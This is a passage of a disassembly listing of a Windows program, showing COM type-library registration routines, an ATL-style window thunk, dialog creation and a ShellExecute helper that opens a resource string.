; ---------------------------------------------------------------------------


loc_40485E:				; CODE XREF: sub_404810+39j
		mov	ecx, 4
		xor	eax, eax
		repe cmpsd
		jnz	loc_404935


loc_40486D:				; CODE XREF: sub_404810+40j
					; sub_404810+4Cj
		push	1
		call	dword ptr [ebp+4]
		mov	ebx, eax
		test	ebx, ebx
		jl	loc_404A17
		mov	ecx, [esp+230h+arg_0]
		cmp	dword ptr [ecx], 84h
		jnz	loc_404935
		call	dword ptr [ebp+1Ch]
		mov	ebx, [ebp+0]
		mov	edi, eax
		test	edi, edi
		mov	[esp+230h+lpString], 0
		jz	loc_404933
		lea	edx, [esp+230h+lpString]
		push	edx		; ppv
		push	offset riid	; riid
		push	1		; dwClsContext
		push	0		; pUnkOuter
		push	offset rclsid	; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		jge	short loc_4048D4
		mov	eax, [esp+230h+lpString]
		test	eax, eax
		jz	short loc_404933
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_404933
; ---------------------------------------------------------------------------


loc_4048D4:				; CODE XREF: sub_404810+B2j
		cmp	dword ptr [edi], 0
		jz	short loc_404925


loc_4048D9:				; CODE XREF: sub_404810+113j
		mov	edx, [edi+4]
		mov	eax, [edx]
		mov	[esp+230h+var_218], eax
		mov	ecx, [edx+4]
		mov	[esp+230h+var_214], ecx
		mov	eax, [edx+8]
		mov	[esp+230h+var_210], eax
		mov	eax, [edi]
		mov	ecx, [edx+0Ch]
		cmp	eax, 1
		mov	eax, [esp+230h+lpString]
		mov	[esp+230h+var_20C], ecx
		lea	ecx, [esp+230h+var_218]
		mov	edx, [eax]
		push	ecx
		push	1
		push	ebx
		push	eax
		jnz	short loc_404912
		call	dword ptr [edx+14h]
		jmp	short loc_404915
; ---------------------------------------------------------------------------


loc_404912:				; CODE XREF: sub_404810+FBj
		call	dword ptr [edx+1Ch]


loc_404915:				; CODE XREF: sub_404810+100j
		mov	esi, eax
		test	esi, esi
		jl	short loc_404955
		mov	eax, [edi+8]
		add	edi, 8
		test	eax, eax
		jnz	short loc_4048D9


loc_404925:				; CODE XREF: sub_404810+C7j
		mov	eax, [esp+230h+lpString]
		test	eax, eax
		jz	short loc_404933
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]


loc_404933:				; CODE XREF: sub_404810+91j
					; sub_404810+BAj ...
		xor	ebx, ebx


loc_404935:				; CODE XREF: sub_404810+46j
					; sub_404810+57j ...
		mov	eax, [esp+230h+arg_0]
		cmp	dword ptr [eax], 64h
		jnz	short loc_404946
		add	ebp, 1Ch
		jmp	short loc_404949
; ---------------------------------------------------------------------------


loc_404946:				; CODE XREF: sub_404810+12Fj
		add	ebp, 24h


loc_404949:				; CODE XREF: sub_404810+134j
		mov	edi, [ebp+0]
		test	edi, edi
		jz	short loc_404974
		jmp	loc_404840
; ---------------------------------------------------------------------------


loc_404955:				; CODE XREF: sub_404810+109j
		mov	eax, [esp+230h+lpString]
		test	eax, eax
		jz	short loc_404963
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404963:				; CODE XREF: sub_404810+14Bj
		mov	ebx, esi
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		add	esp, 220h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_404974:				; CODE XREF: sub_404810+13Ej
		test	ebx, ebx
		jl	loc_404A17
		mov	eax, [esp+230h+arg_0]


loc_404983:				; CODE XREF: sub_404810+2Aj
		mov	edx, [esp+230h+arg_4]
		xor	ecx, ecx
		cmp	edx, ecx
		jz	loc_404A17
		lea	edx, [esp+230h+pptlib]
		mov	[esp+230h+lpString], ecx
		push	edx		; pptlib
		lea	edx, [esp+234h+lpString]
		push	edx		; int
		push	ecx		; lpWideCharStr
		push	eax		; int
		mov	[esp+240h+pptlib], ecx
		call	sub_404C30
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_4049FE
		mov	eax, [esp+230h+lpString]
		push	eax		; lpString
		mov	esi, eax
		call	ds:lstrlenW	; lstrlenW
		lea	ecx, [eax+eax+2]
		lea	edi, [esp+230h+szHelpDir]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	ecx, [esp+230h+szHelpDir]
		push	ecx
		call	sub_404A30
		mov	[esp+eax*2+230h+szHelpDir], 0
		lea	edx, [esp+230h+szHelpDir]
		mov	eax, [esp+230h+lpString]
		mov	ecx, [esp+230h+pptlib]
		push	edx		; szHelpDir
		push	eax		; szFullPath
		push	ecx		; ptlib
		call	ds:RegisterTypeLib
		mov	ebx, eax


loc_4049FE:				; CODE XREF: sub_404810+1A1j
		mov	eax, [esp+230h+pptlib]
		test	eax, eax
		jz	short loc_404A0C
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]


loc_404A0C:				; CODE XREF: sub_404810+1F4j
		mov	eax, [esp+230h+lpString]
		push	eax		; bstrString
		call	ds:SysFreeString


loc_404A17:				; CODE XREF: sub_404810+66j
					; sub_404810+166j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		add	esp, 220h
		retn	0Ch
sub_404810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404A30	proc near		; CODE XREF: sub_404810+1CBp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, esi
		mov	ecx, esi
		cmp	word ptr [esi],	0
		jz	short loc_404A64


loc_404A3F:				; CODE XREF: sub_404A30+32j
		mov	dx, [ecx]
		test	dx, dx
		jz	short loc_404A4A
		add	ecx, 2


loc_404A4A:				; CODE XREF: sub_404A30+15j
		cmp	dx, 5Ch
		jz	short loc_404A5C
		cmp	dx, 2Fh
		jz	short loc_404A5C
		cmp	dx, 3Ah
		jnz	short loc_404A5E


loc_404A5C:				; CODE XREF: sub_404A30+1Ej
					; sub_404A30+24j
		mov	eax, ecx


loc_404A5E:				; CODE XREF: sub_404A30+2Aj
		cmp	word ptr [ecx],	0
		jnz	short loc_404A3F


loc_404A64:				; CODE XREF: sub_404A30+Dj
		sub	eax, esi
		pop	esi
		sar	eax, 1
		retn	4
sub_404A30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404A70(int pptlib,BSTR bstrString,int)

sub_404A70	proc near		; CODE XREF: sub_4010C0+25Cp

ppv		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
pptlib		= dword	ptr  4
bstrString	= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+pptlib]
		sub	esp, 14h
		push	ebp
		xor	ebp, ebp
		cmp	eax, ebp
		jnz	short loc_404A8A
		mov	eax, 80070057h
		pop	ebp
		add	esp, 14h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_404A8A:				; CODE XREF: sub_404A70+Cj
		push	ebx
		mov	ebx, [eax+10h]
		push	esi
		push	edi
		mov	edi, [ebx]
		cmp	edi, ebp
		jz	loc_404B7E


loc_404A9A:				; CODE XREF: sub_404A70+104j
		mov	esi, [esp+24h+arg_8]
		cmp	esi, ebp
		jnz	short loc_404AB5
		mov	eax, [ebx+18h]
		cmp	eax, ebp
		jz	short loc_404AC4
		call	eax
		test	eax, eax
		jnz	loc_404B5F
		jmp	short loc_404AC4
; ---------------------------------------------------------------------------


loc_404AB5:				; CODE XREF: sub_404A70+30j
		mov	ecx, 4
		xor	eax, eax
		repe cmpsd
		jnz	loc_404B5F


loc_404AC4:				; CODE XREF: sub_404A70+37j
					; sub_404A70+43j
		push	ebp
		call	dword ptr [ebx+4]
		call	dword ptr [ebx+1Ch]
		mov	edi, [ebx]
		mov	esi, eax
		cmp	esi, ebp
		mov	[esp+24h+ppv], ebp
		jz	loc_404B5F
		lea	ecx, [esp+24h+ppv]
		push	ecx		; ppv
		push	offset riid	; riid
		push	1		; dwClsContext
		push	ebp		; pUnkOuter
		push	offset rclsid	; rclsid
		call	ds:CoCreateInstance
		test	eax, eax
		jge	short loc_404B07
		mov	eax, [esp+24h+ppv]
		cmp	eax, ebp
		jz	short loc_404B5F
		mov	edx, [eax]
		push	eax
		call	dword ptr [edx+8]
		jmp	short loc_404B5F
; ---------------------------------------------------------------------------


loc_404B07:				; CODE XREF: sub_404A70+85j
		cmp	[esi], ebp
		jz	short loc_404B51


loc_404B0B:				; CODE XREF: sub_404A70+DFj
		mov	eax, [esi+4]
		mov	ecx, [eax]
		mov	[esp+24h+var_10], ecx
		mov	edx, [eax+4]
		mov	[esp+24h+var_C], edx
		mov	ecx, [eax+8]
		mov	[esp+24h+var_8], ecx
		mov	edx, [eax+0Ch]
		mov	eax, [esi]
		mov	[esp+24h+var_4], edx
		lea	edx, [esp+24h+var_10]
		cmp	eax, 1
		mov	eax, [esp+24h+ppv]
		push	edx
		push	1
		mov	ecx, [eax]
		push	edi
		push	eax
		jnz	short loc_404B44
		call	dword ptr [ecx+18h]
		jmp	short loc_404B47
; ---------------------------------------------------------------------------


loc_404B44:				; CODE XREF: sub_404A70+CDj
		call	dword ptr [ecx+20h]


loc_404B47:				; CODE XREF: sub_404A70+D2j
		mov	eax, [esi+8]
		add	esi, 8
		cmp	eax, ebp
		jnz	short loc_404B0B


loc_404B51:				; CODE XREF: sub_404A70+99j
		mov	eax, [esp+24h+ppv]
		cmp	eax, ebp
		jz	short loc_404B5F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404B5F:				; CODE XREF: sub_404A70+3Dj
					; sub_404A70+4Ej ...
		mov	edx, [esp+24h+pptlib]
		cmp	dword ptr [edx], 64h
		jnz	short loc_404B6D
		add	ebx, 1Ch
		jmp	short loc_404B70
; ---------------------------------------------------------------------------


loc_404B6D:				; CODE XREF: sub_404A70+F6j
		add	ebx, 24h


loc_404B70:				; CODE XREF: sub_404A70+FBj
		mov	edi, [ebx]
		cmp	edi, ebp
		jnz	loc_404A9A
		mov	eax, [esp+24h+pptlib]


loc_404B7E:				; CODE XREF: sub_404A70+24j
		cmp	[esp+24h+bstrString], ebp
		jz	loc_404C21
		lea	ecx, [esp+24h+pptlib]
		lea	edx, [esp+24h+bstrString]
		push	ecx		; pptlib
		push	edx		; int
		push	ebp		; lpWideCharStr
		push	eax		; int
		mov	[esp+34h+bstrString], ebp
		mov	[esp+34h+pptlib], ebp
		call	sub_404C30
		test	eax, eax
		jl	short loc_404C08
		mov	eax, [esp+24h+pptlib]
		lea	edx, [esp+24h+arg_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_404C08
		push	offset LibFileName ; "oleaut32.dll"
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	esi, eax
		cmp	esi, ebp
		jz	short loc_404BF9
		push	offset ProcName	; "UnRegisterTypeLib"
		push	esi		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		cmp	eax, ebp
		jz	short loc_404BF2
		mov	ecx, [esp+24h+arg_8]
		mov	edx, [ecx+14h]
		push	edx
		mov	edx, [ecx+10h]
		push	edx
		mov	dx, [ecx+1Ah]
		push	edx
		mov	dx, [ecx+18h]
		push	edx
		push	ecx
		call	eax


loc_404BF2:				; CODE XREF: sub_404A70+167j
		push	esi		; hLibModule
		call	ds:FreeLibrary	; FreeLibrary


loc_404BF9:				; CODE XREF: sub_404A70+157j
		mov	eax, [esp+24h+pptlib]
		mov	edx, [esp+24h+arg_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+30h]


loc_404C08:				; CODE XREF: sub_404A70+133j
					; sub_404A70+146j
		mov	eax, [esp+24h+pptlib]
		cmp	eax, ebp
		jz	short loc_404C16
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_404C16:				; CODE XREF: sub_404A70+19Ej
		mov	edx, [esp+24h+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString


loc_404C21:				; CODE XREF: sub_404A70+112j
		pop	edi
		pop	esi
		pop	ebx
		xor	eax, eax
		pop	ebp
		add	esp, 14h
		retn	0Ch
sub_404A70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_404C30(int,LPCWSTR lpWideCharStr,int,ITypeLib **pptlib)

sub_404C30	proc near		; CODE XREF: sub_404810+198p
					; sub_404A70+12Cp

String		= byte ptr -110h
arg_0		= dword	ptr  8
lpWideCharStr	= dword	ptr  0Ch
arg_8		= dword	ptr  10h
pptlib		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 110h
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+pptlib]
		push	ebx
		push	esi
		mov	dword ptr [eax], 0
		mov	eax, [ebp+arg_0]
		push	edi
		mov	dword ptr [ecx], 0
		mov	ecx, [eax+0Ch]
		lea	edx, [ebp+String]
		push	104h		; nSize
		push	edx		; lpFilename
		push	ecx		; hModule
		call	ds:GetModuleFileNameA	; GetModuleFileNameA
		mov	ebx, [ebp+lpWideCharStr]
		test	ebx, ebx
		jz	short loc_404CAB
		push	ebx		; lpString
		call	ds:lstrlenW	; lstrlenW
		lea	edi, [eax+eax+2]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	esi, esp
		push	0		; lpUsedDefaultChar
		push	0		; lpDefaultChar
		push	edi		; cbMultiByte
		push	esi		; lpMultiByteStr
		push	0FFFFFFFFh	; cchWideChar
		push	ebx		; lpWideCharStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	byte ptr [esi],	0
		call	ds:WideCharToMultiByte	; WideCharToMultiByte
		lea	edx, [ebp+String]
		push	esi		; lpString2
		push	edx		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_404CAB:				; CODE XREF: sub_404C30+3Cj
		mov	ebx, ds:lstrlenA
		lea	eax, [ebp+String]
		test	eax, eax
		jnz	short loc_404CBF
		xor	edi, edi
		jmp	short loc_404CF4
; ---------------------------------------------------------------------------


loc_404CBF:				; CODE XREF: sub_404C30+89j
		lea	ecx, [ebp+String]
		push	ecx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	edx, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	edx		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_404CF4:				; CODE XREF: sub_404C30+8Dj
		mov	eax, [ebp+pptlib]
		push	eax		; pptlib
		push	edi		; szFile
		call	ds:LoadTypeLib
		mov	esi, eax
		test	esi, esi
		jge	loc_404D97
		mov	cl, [ebp+String]
		xor	esi, esi
		test	cl, cl
		lea	eax, [ebp+String]
		jz	short loc_404D35
		mov	edi, ds:CharNextA


loc_404D21:				; CODE XREF: sub_404C30+FFj
		cmp	cl, 2Eh
		jnz	short loc_404D28
		mov	esi, eax


loc_404D28:				; CODE XREF: sub_404C30+F4j
		push	eax		; lpsz
		call	edi ; CharNextA
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_404D21
		test	esi, esi
		jnz	short loc_404D37


loc_404D35:				; CODE XREF: sub_404C30+E9j
		mov	esi, eax


loc_404D37:				; CODE XREF: sub_404C30+103j
		push	offset a_tlb	; ".tlb"
		push	esi		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_404D51
		xor	edi, edi
		jmp	short loc_404D86
; ---------------------------------------------------------------------------


loc_404D51:				; CODE XREF: sub_404C30+11Bj
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ebx ; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	0		; dwFlags
		push	0		; CodePage
		mov	word ptr [edi],	0
		call	ds:MultiByteToWideChar	; MultiByteToWideChar


loc_404D86:				; CODE XREF: sub_404C30+11Fj
		mov	ecx, [ebp+pptlib]
		push	ecx		; pptlib
		push	edi		; szFile
		call	ds:LoadTypeLib
		mov	esi, eax
		test	esi, esi
		jl	short loc_404DA3


loc_404D97:				; CODE XREF: sub_404C30+D3j
		push	edi		; psz
		call	ds:SysAllocString
		mov	edx, [ebp+arg_8]
		mov	[edx], eax


loc_404DA3:				; CODE XREF: sub_404C30+165j
		lea	esp, [ebp-11Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_404C30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404DC0(HWND	hWndParent,LPARAM dwInitParam)

sub_404DC0	proc near		; CODE XREF: sub_4010C0+3D5p

hWndParent	= dword	ptr  4
dwInitParam	= dword	ptr  8

		push	esi
		lea	esi, [ecx+8]
		mov	[esi], ecx
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	offset CriticalSection ; lpCriticalSection
		mov	[esi+4], eax
		call	ds:EnterCriticalSection
		mov	eax, dword_40FB48
		push	offset CriticalSection ; lpCriticalSection
		mov	[esi+8], eax
		mov	dword_40FB48, esi
		call	ds:LeaveCriticalSection
		mov	ecx, [esp+4+dwInitParam]
		mov	edx, [esp+4+hWndParent]
		mov	eax, hInstance
		push	ecx		; dwInitParam
		push	offset DialogFunc ; lpDialogFunc
		push	edx		; hWndParent
		push	65h		; lpTemplateName
		push	eax		; hInstance
		call	ds:CreateDialogParamA	; CreateDialogParamA
		pop	esi
		retn	8
sub_404DC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; INT_PTR __stdcall DialogFunc(HWND,UINT,WPARAM,LPARAM)

DialogFunc	proc near		; DATA XREF: sub_404DC0+41o

hWnd		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	offset CriticalSection ; lpCriticalSection
		xor	edi, edi
		call	ds:EnterCriticalSection
		mov	esi, dword_40FB48
		test	esi, esi
		jz	short loc_404E68
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		xor	ecx, ecx


loc_404E42:				; CODE XREF: DialogFunc+2Ej
		cmp	[esi+4], eax
		jz	short loc_404E52
		mov	ecx, esi
		mov	esi, [esi+8]
		test	esi, esi
		jnz	short loc_404E42
		jmp	short loc_404E68
; ---------------------------------------------------------------------------


loc_404E52:				; CODE XREF: DialogFunc+25j
		test	ecx, ecx
		jnz	short loc_404E60
		mov	eax, [esi+8]
		mov	dword_40FB48, eax
		jmp	short loc_404E66
; ---------------------------------------------------------------------------


loc_404E60:				; CODE XREF: DialogFunc+34j
		mov	edx, [esi+8]
		mov	[ecx+8], edx


loc_404E66:				; CODE XREF: DialogFunc+3Ej
		mov	edi, [esi]


loc_404E68:				; CODE XREF: DialogFunc+18j
					; DialogFunc+30j
		push	offset CriticalSection ; lpCriticalSection
		call	ds:LeaveCriticalSection
		mov	eax, [edi]
		mov	ecx, edi
		mov	ebx, [esp+0Ch+hWnd]
		mov	[edi+4], ebx
		call	dword ptr [eax+4]
		lea	esi, [edi+8]
		push	0Dh		; dwSize
		sub	eax, esi
		push	esi		; lpBaseAddress
		sub	eax, 0Dh
		mov	dword ptr [esi], 42444C7h
		mov	[esi+4], edi
		mov	byte ptr [esi+8], 0E9h
		mov	[esi+9], eax
		call	ds:GetCurrentProcess	; GetCurrentProcess
		push	eax		; hProcess
		call	ds:FlushInstructionCache	; FlushInstructionCache
		push	esi		; dwNewLong
		push	4		; nIndex
		push	ebx		; hWnd
		call	ds:SetWindowLongA	; SetWindowLongA
		mov	ecx, [esp+0Ch+arg_C]
		mov	edx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		push	ecx
		push	edx
		push	eax
		push	ebx
		call	esi
		pop	edi
		pop	esi
		pop	ebx
		retn	10h
DialogFunc	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404ED0(LONG	dwNewLong,int,int,int)

sub_404ED0	proc near		; DATA XREF: sub_4047F0o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
dwNewLong	= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 1Ch
		push	ebx
		mov	edx, [esp+20h+arg_C]
		push	ebp
		mov	ecx, [esp+24h+arg_8]
		push	esi
		mov	esi, [esp+28h+dwNewLong]
		xor	ebx, ebx
		push	edi
		mov	ebp, [esi+18h]
		mov	edi, [esp+2Ch+arg_4]
		mov	eax, [esi+4]
		mov	[esp+2Ch+var_C], ebx
		mov	[esp+2Ch+var_8], ebx
		mov	[esp+2Ch+var_4], ebx
		push	ebx
		lea	ebx, [esp+30h+dwNewLong]
		mov	[esp+30h+arg_4], ebp
		lea	ebp, [esp+30h+var_1C]
		push	ebx
		push	edx
		mov	[esi+18h], ebp
		mov	ebp, [esi]
		push	ecx
		mov	[esp+3Ch+var_14], ecx
		push	edi
		push	eax
		mov	ecx, esi
		mov	[esp+44h+var_1C], eax
		mov	[esp+44h+var_18], edi
		mov	[esp+44h+var_10], edx
		call	dword ptr [ebp+0]
		test	eax, eax
		mov	ecx, [esp+2Ch+arg_4]
		mov	[esi+18h], ecx
		jz	short loc_404F90
		cmp	edi, 39h
		ja	short loc_404F4A
		jz	short loc_404F82
		cmp	edi, 2Eh
		jb	short loc_404F62
		cmp	edi, 2Fh
		jbe	short loc_404F82
		cmp	edi, 37h
		jz	short loc_404F82
		jmp	short loc_404F62
; ---------------------------------------------------------------------------


loc_404F4A:				; CODE XREF: sub_404ED0+65j
		cmp	edi, 110h
		jz	short loc_404F82
		cmp	edi, 131h
		jbe	short loc_404F62
		cmp	edi, 138h
		jbe	short loc_404F82


loc_404F62:				; CODE XREF: sub_404ED0+6Cj
					; sub_404ED0+78j ...
		mov	edx, [esp+2Ch+dwNewLong]
		mov	eax, [esi+4]
		push	edx		; dwNewLong
		push	0		; nIndex
		push	eax		; hWnd
		call	ds:SetWindowLongA	; SetWindowLongA
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 1Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_404F82:				; CODE XREF: sub_404ED0+67j
					; sub_404ED0+71j ...
		mov	eax, [esp+2Ch+dwNewLong]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 1Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_404F90:				; CODE XREF: sub_404ED0+60j
		cmp	edi, 82h
		jnz	short loc_404FAA
		mov	eax, [esi+4]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		mov	dword ptr [esi+4], 0
		call	dword ptr [edx+8]


loc_404FAA:				; CODE XREF: sub_404ED0+C6j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 1Ch
		retn	10h
sub_404ED0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404FC0(int nIDDlgItem,UINT Msg,WPARAM wParam,LPARAM	lParam)

sub_404FC0	proc near		; CODE XREF: sub_405C90+7D7p

nIDDlgItem	= dword	ptr  4
Msg		= dword	ptr  8
wParam		= dword	ptr  0Ch
lParam		= dword	ptr  10h

		mov	eax, [esp+nIDDlgItem]
		mov	ecx, [ecx+4]
		push	eax		; nIDDlgItem
		push	ecx		; hDlg
		call	ds:GetDlgItem	; GetDlgItem
		test	eax, eax
		jnz	short loc_404FD6
		retn	10h
; ---------------------------------------------------------------------------


loc_404FD6:				; CODE XREF: sub_404FC0+11j
		mov	edx, [esp+lParam]
		mov	ecx, [esp+wParam]
		push	edx		; lParam
		mov	edx, [esp+4+Msg]
		push	ecx		; wParam
		push	edx		; Msg
		push	eax		; hWnd
		call	ds:PostMessageA	; PostMessageA
		retn	10h
sub_404FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_404FF0(LPCSTR lpFile)

sub_404FF0	proc near		; CODE XREF: sub_405020+ABp
					; sub_4051A0+33Ep ...

lpFile		= dword	ptr  4

		mov	eax, [esp+lpFile]
		push	1		; nShowCmd
		push	0		; lpDirectory
		push	0		; lpParameters
		push	eax		; lpFile
		push	offset Operation ; "open"
		push	0		; hwnd
		call	ds:ShellExecuteA	; ShellExecuteA
		cmp	eax, 20h
		setnbe	al
		retn	4
sub_404FF0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_405020(UINT	uID)

sub_405020	proc near		; CODE XREF: sub_405C90+1B7p
					; sub_405C90+1EFp ...

String		= byte ptr -230h
bstrString	= dword	ptr -30h
lpMem		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_6		= byte ptr -6
var_4		= dword	ptr -4
uID		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 230h
		mov	edx, [ebp+uID]
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [ebp+String]
		mov	eax, [esi+1Ch]
		push	200h		; cchBufferMax
		push	ecx		; lpBuffer
		xor	ebx, ebx
		push	edx		; uID
		push	eax		; hInstance
		mov	[ebp+var_4], esi
		mov	[ebp+bstrString], ebx
		mov	[ebp+lpMem], ebx
		mov	[ebp+var_28], ebx
		mov	[ebp+var_24], bl
		mov	[ebp+var_6], bl
		call	ds:LoadStringA	; LoadStringA
		mov	edi, eax
		mov	eax, [ebp+bstrString]
		push	eax		; bstrString
		call	ds:SysFreeString
		cmp	edi, ebx
		jz	loc_405102
		lea	ecx, [ebp+String]
		test	ecx, ecx
		jnz	short loc_40507E
		xor	edi, edi
		jmp	short loc_4050B6
; ---------------------------------------------------------------------------


loc_40507E:				; CODE XREF: sub_405020+58j
		lea	edx, [ebp+String]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		mov	esi, eax
		inc	esi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_40AF70
		mov	edi, esp
		push	esi		; cchWideChar
		push	edi		; lpWideCharStr
		lea	eax, [ebp+String]
		push	0FFFFFFFFh	; cbMultiByte
		push	eax		; lpMultiByteStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		mov	[edi], bx
		call	ds:MultiByteToWideChar	; MultiByteToWideChar
		mov	esi, [ebp+var_4]


loc_4050B6:				; CODE XREF: sub_405020+5Cj
		push	edi		; psz
		call	ds:SysAllocString
		lea	ecx, [ebp+bstrString]
		mov	[ebp+bstrString], eax
		call	sub_40A2D0
		push	eax		; lpFile
		mov	ecx, esi
		call	sub_404FF0
		mov	byte ptr [ebp+uID+3], al
		mov	eax, [ebp+lpMem]
		cmp	eax, ebx
		jz	short loc_4050E6
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_4050E6:				; CODE XREF: sub_405020+B8j
		mov	edx, [ebp+bstrString]
		push	edx		; bstrString
		call	ds:SysFreeString
		mov	al, byte ptr [ebp+uID+3]
		lea	esp, [ebp-23Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_405102:				; CODE XREF: sub_405020+4Aj
		mov	eax, [ebp+lpMem]
		mov	[ebp+bstrString], ebx
		cmp	eax, ebx
		jz	short loc_405118
		push	eax		; lpMem
		call	sub_40AF10
		add	esp, 4
		mov	[ebp+lpMem], ebx


loc_405118:				; CODE XREF: sub_405020+EAj
		mov	ecx, [ebp+bstrString]
		push	ecx		; bstrString
		call	ds:SysFreeString
		lea	esp, [ebp-23Ch]
		xor	al, al
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_405020	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405140	proc near		; CODE XREF: sub_406670+16p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		xor	edx, edx
		mov	eax, offset dword_40D720


loc_40514C:				; CODE XREF: sub_405140+19j
		cmp	[eax], esi
		jz	short loc_405167
		add	eax, 8
		inc	edx
		cmp	eax, offset off_40D810
		jl	short loc_40514C
		mov	[ecx+50h], esi
		mov	eax, 12Bh
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_405167:				; CODE XREF: sub_405140+Ej
		mov	eax, ds:dword_40D724[edx*8]
		pop	esi
		retn	4
sub_405140	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_405180	proc near		; CODE XREF: sub_4051A0+345p
					; sub_405C90+30p ...
		mov	eax, [ecx+4]
		push	eax		; hWnd
		call	ds:DestroyWindow	; DestroyWindow
		push	0		; nExitCode
		call	ds:PostQuitMessage	; PostQuitMessage
		retn
sub_405180	endp

; ---------------------------------------------------------------------------
